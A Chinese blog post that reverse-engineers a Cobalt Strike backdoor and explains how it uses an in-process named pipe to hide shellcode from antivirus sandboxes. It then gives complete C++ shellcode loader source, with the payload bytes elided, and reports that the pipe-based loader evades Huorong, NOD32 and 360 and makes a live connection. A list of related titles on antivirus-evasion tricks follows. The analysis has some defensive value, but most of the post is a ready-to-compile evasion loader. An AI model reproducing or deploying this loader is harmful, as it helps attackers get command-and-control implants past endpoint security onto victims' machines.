最近发现一个奇怪的现象,我用CobaltStrike直接生成一个裸奔测试后门artifact.exe

然后使用火绒扫描,火绒居然没有直接查杀

自己上线自己

按理说这种被渗透人员大量使用的后门,不管它原本使用了哪些牛逼的沙盒绕过手法都应该被直接特征码定位查杀,根本不不用杀软沙盒分析。很明显,火绒应该是忘了加针对CobaltStrike的特征码,然后使用后一步的沙盒分析但是不幸的是,沙盒分析也被CobaltStrike规避了。所以进一步分析

代码使用了GCC MinGW编译,程序有两个TLS回调,分析了一遍,感觉并没有什么卵用,应该就是GCC编译后,main函数之前的初始化吧,判断了一下winmajor这个全局变量,看名字和系统版本相关Winmajor<=3就加载mingwm10.dll这个dll,这个应该和MinGW有关吧,系统里面根本没有这个dll

直接看main函数,逻辑很简单,先call sub_4027B()没什么卵用的函数,然后call sub_401800() 这个函数才是搞事的核心,然后死循环Sleep(1000)

双击进去分析,逻辑也很简单,获取系统时间戳,拼接成字符串\\.\pipe\MSSE-%d-server的格式,看名字应该和命名管道有关,然后创建了一个线程函数地址是sub_4016D3的线程,然后调用了函数sub_4017A2

分析线程函数sub_4016D3,直接F5看伪代码吧

函数sub_401608有两个参数,第一个参数unk_403010是一个数组,里面就是加密之后的shellcode,第二个全局变量参数dwSize就是shellcode数组的大小

跟进sub_401608,伪代码非常直观,可以直接拿来编译那种

逻辑很清晰,创建了一个命名管道,管道名字就是前面分析的字符串\\.\pipe\MSSE-%d-server,然后往管道里面循环写入加密的shellcode数据,直到全部写入 返回分析,前面知道程序创建了线程之后立刻调用了函数sub_4017A2

Sleep函数的作用就是保证线程函数创建命名管道成功再开始读取加密的shellcode,跟进sub_4016F2,也是逻辑非常简单直观的,打开线程创建的命名管道,从管道里面读取加密之后的shellcode

返回看sub_401559函数

数组unk_403008和加密之后的shellcode是一段连续内存,开始的8字节是解密密钥相关,后面才是加密的shellcode

跟进sub_401559,逻辑相当简单了,木马的模板代码,先用VirtualAlloc函数申请内存,解密shellcode写入内存,再用VirtualProtect函数改变内存属性成可执行最后创建线程执行shellcode,解密算法也很简单,加密数据分别和数组unk_403008开头4字节进行取余亦或运算,unk_403008开头8字节实际只用了4个字节

总结:CS使用命名管道进程内部通信的方式传输shellcode,杀软的沙盒并不能很好的模拟此行为,以此绕过了沙盒的代码分析,但是这并不能完全验证是这种方法绕过了沙盒分析决定自己写代码使用此方式加载CobaltStrike的shellcode测试杀软
1.先使用常规方式直接解密加载shellcode,代码如下

[C++] 纯文本查看 复制代码

?

01

02

03

04

05

06

07

08

09

10

11

12

13

14

15

16

17

18

19

unsigned char data[] = { xxxxx };

DWORD WINAPI StartAddress(LPVOID lpThreadParameter)

{

        return ((int(__stdcall *)(LPVOID))lpThreadParameter)(lpThreadParameter);

}

int main(int argc, _TCHAR* argv[])

{

        char *buff = (char*)VirtualAlloc(0, sizeof(data), 0x3000u, 4u);

        //解密部分算法

        DWORD flOldProtect = 0;

        VirtualProtect(buff, sizeof(data), 0x20u, &flOldProtect);

        CreateThread(0, 0, (LPTHREAD_START_ROUTINE)StartAddress, buff, 0, 0);

        while (true)

        {

                Sleep(1000);

        }

        return 0;

}

先关闭火绒,直接上线

然后开启火绒,刚编译就被杀

2.先使用进程内部命名管道解密加载shellcode,代码如下

[C++] 纯文本查看 复制代码

?

01

02

03

04

05

06

07

08

09

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

unsigned char data[] = { xxxx };

DWORD WINAPI StartAddress(LPVOID lpThreadParameter)

{

        return ((int(__stdcall *)(LPVOID))lpThreadParameter)(lpThreadParameter);

}

bool pipClient(LPVOID lpBuffer, DWORD nNumberOfBytesToRead)

{

        DWORD offset = 0;

        DWORD readSize = 0;

        HANDLE hFile = CreateFileA("\\\\.\\xxx\\yyy", 0x80000000, 3u, 0, 3u, 0x80u, 0);

        if (hFile!=INVALID_HANDLE_VALUE)

        {

                while (nNumberOfBytesToRead>0)

                {

                        BOOL ret=ReadFile(hFile, ((char*)lpBuffer + offset), nNumberOfBytesToRead, &readSize, NULL);

                        if (!ret)

                        {

                                break;

                        }

                        nNumberOfBytesToRead -= readSize;

                        offset += readSize;

                }

                CloseHandle(hFile);

        }

        return nNumberOfBytesToRead == 0;

}

bool pipServer(LPCVOID lpBuffer, DWORD nNumberOfBytesToWrite)

{

        DWORD offset = 0;

        DWORD writeSize = 0;

        HANDLE hFile = CreateNamedPipeA("\\\\.\\xxx\\yyy", 2u, 0, 1u, 0, 0, 0, 0);

        if (hFile != INVALID_HANDLE_VALUE)

        {

                if (ConnectNamedPipe(hFile, 0))

                {

                        while (nNumberOfBytesToWrite>0)

                        {

                                BOOL ret = WriteFile(hFile, ((char*)lpBuffer + offset), nNumberOfBytesToWrite, &writeSize, NULL);

                                if (!ret)

                                {

                                        break;

                                }

                                nNumberOfBytesToWrite -= writeSize;

                                offset += writeSize;

                        }

                        CloseHandle(hFile);

                }

        }

        return nNumberOfBytesToWrite == 0;

}

DWORD WINAPI PipWrite(LPVOID)

{

        pipServer(data, sizeof(data));

        return 0;

}

int main(int argc, _TCHAR* argv[])

{

        CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)PipWrite, NULL, 0, NULL);

        Sleep(600);

        char *buff = (char*)VirtualAlloc(0, sizeof(data), 0x3000u, 4u);

        pipClient(buff, sizeof(data));

        //解密部分算法

        DWORD flOldProtect = 0;

        VirtualProtect(buff, sizeof(data), 0x20u, &flOldProtect);

        CreateThread(0, 0, (LPTHREAD_START_ROUTINE)StartAddress, buff, 0, 0);

        while (true)

        {

                Sleep(1000);

        }

        return 0;

}

开启火绒,直接上线

继续测试node32,提示安全

测试360安全卫士+360杀毒小红书,QVM引擎全开联网查杀,提示安全

哇,这个真的是。。。呼吁杀软厂商感觉把这种过沙盒的方法列入查杀对

CobaltStrike木马artifact.exe规避火绒,360,node32沙盒的方法分析相关推荐

  1. 红队培训班作业 | 五种免杀bypass火绒360姿势横向测评:哪款更适合你?

    文章来源|MS08067 红队培训班第12节课作业 本文作者:某学员A(红队培训班1期学员) 按老师要求尝试完成布置的作业如下: 一.远程线程注入 (一)通过MSF生成payload 通过msfven ...

  2. 火绒剑(专业人员使用的系统进程分析工具)

    在火绒杀毒软件中有一个非常专业的进程分析工具,可以详细分析自已电脑上进程的异常情况. 安全工具中的火绒剑

  3. MSF(3)——apk和exe的加马(过360、火绒)

    本专栏是笔者的网络安全学习笔记,一面分享,同时作为笔记 文章目录 前文链接 工具地址 shielden 520apkhook exe 加马 shellter附加 安装 软件准备 添加后门 杀软测试 加 ...

  4. Invoke-Obfuscation混淆免杀过360和火绒

    微信公众号:乌鸦安全 扫取二维码获取更多信息! 更新时间:2021-05-31 Invoke-Obfuscation下载地址:https://github.com/danielbohannon/Inv ...

  5. 2023最新使用python进行shellcode免杀过360火绒 ,反虚拟机

    本源码仅供学习交流,不得用于违法范围,本源码已放到QQ交流群 群文件中QQ群:798134185 反虚拟机方案根据虚拟机系统文件 cpu核心数  开机启动时间  c盘大小判断 生成c语言的payloa ...

  6. 360安全卫士、360杀毒与火绒

    2019年以前,360安全卫士.360杀毒一直是我电脑里的主要杀毒软件.直到我听说了另一款杀毒软件:火绒. 于是我立刻下载安装了火绒.安装完之后,我就想卸载360安全卫士.可是360安全卫士提示: 我 ...

  7. 最好用的安全软件(火绒)

    最好用的安全软件(火绒) 计算机中装个安全软件是非常有必要的,然而 windows 系统自带的安全软件很多时候并不能让我们满意.而像 360 之类的垃圾安全软件相信大家已经饱受其苦.接下来我推荐一款国 ...

  8. [知乎]火绒 前一天的关于微信支付的病毒说明.

    一. 概述 昨天(12月1日)突发的"微信支付"勒索病毒,已被火绒安全团队成功破解.被该病毒感染的用户可以下载破解工具,还原被加密的文件.下载地址:https://www.huor ...

  9. 应用联网控制-火绒个人版实践

    网络安全,对于个人,一般需要监控主机联网的应用,做到需要才放行,防止未经授权将个人数据通过后台应用外传.火绒个人版联网控制功能,拥有较强的控制能力,能够监控大部分的联网应用,做到授权放行. 火绒安全个 ...

最新文章

  1. WPF xaml中列表依赖属性的定义
  2. MapReduce-流量统计求和-排序-FlowBean编写
  3. MySQL 之group_concat_max_length Mac 版
  4. python用xpath爬取10页网站图片
  5. Template Metaprogramming
  6. 计蒜课挑战难题:罗马数字转换成整数
  7. 初学者phthon笔记(异常处理)
  8. java 接口案例
  9. ocx控件 postmessage消息会消失_通过HackerOne漏洞报告学习PostMessage漏洞实战场景中的利用与绕过...
  10. 阿里开发规范_阿里开发强制要求的11条SQL编写规范
  11. jQuery 判断div是否shown
  12. vb 获取设备音量_自制 Windows 10X 启动盘,提前体验微软折叠设备新系统
  13. Java反编译xml实现_如何反编译apk文件得到源码和XML文件
  14. 南京邮电大学《管理学原理C》2019/2020 学年第 2 学期期末试卷
  15. oppo强制升级android版本,OPPO R17升级更新安卓9.0固件rom刷机包:正式版本-C.10
  16. 常用音频单位简介:dBSPL、dBm、dBu、dBV、dBFS
  17. 台式计算机windows7系统怎么做,台式电脑怎么在线一键重装win7操作系统
  18. 在wamp使用tp5框架开发,连接数据库
  19. 2016年中南大学校赛镜像赛
  20. 美团 java_GitHub - meituan/mssapi_java: 美团云对象存储 Java SDK

热门文章

  1. C++ 2048 编程 小游戏
  2. mysql语句delete报错_「delete语句」MySQL——DELETE语句中的坑 - seo实验室
  3. 阿里巴巴开发手册05 集合使用
  4. flexbus部分翻译
  5. My PC Internet--物理层
  6. MATLAB中从一个文件中读取指定的行
  7. 解系统禁用了usb服务器,知识科普:USB端口如何禁用和解锁?
  8. VUE 钩子函数超详细解析
  9. Node.js web服务器文件读取
  10. 【CNAS篇】电子数据提取与分析(电子数据存在性鉴定)-检验标准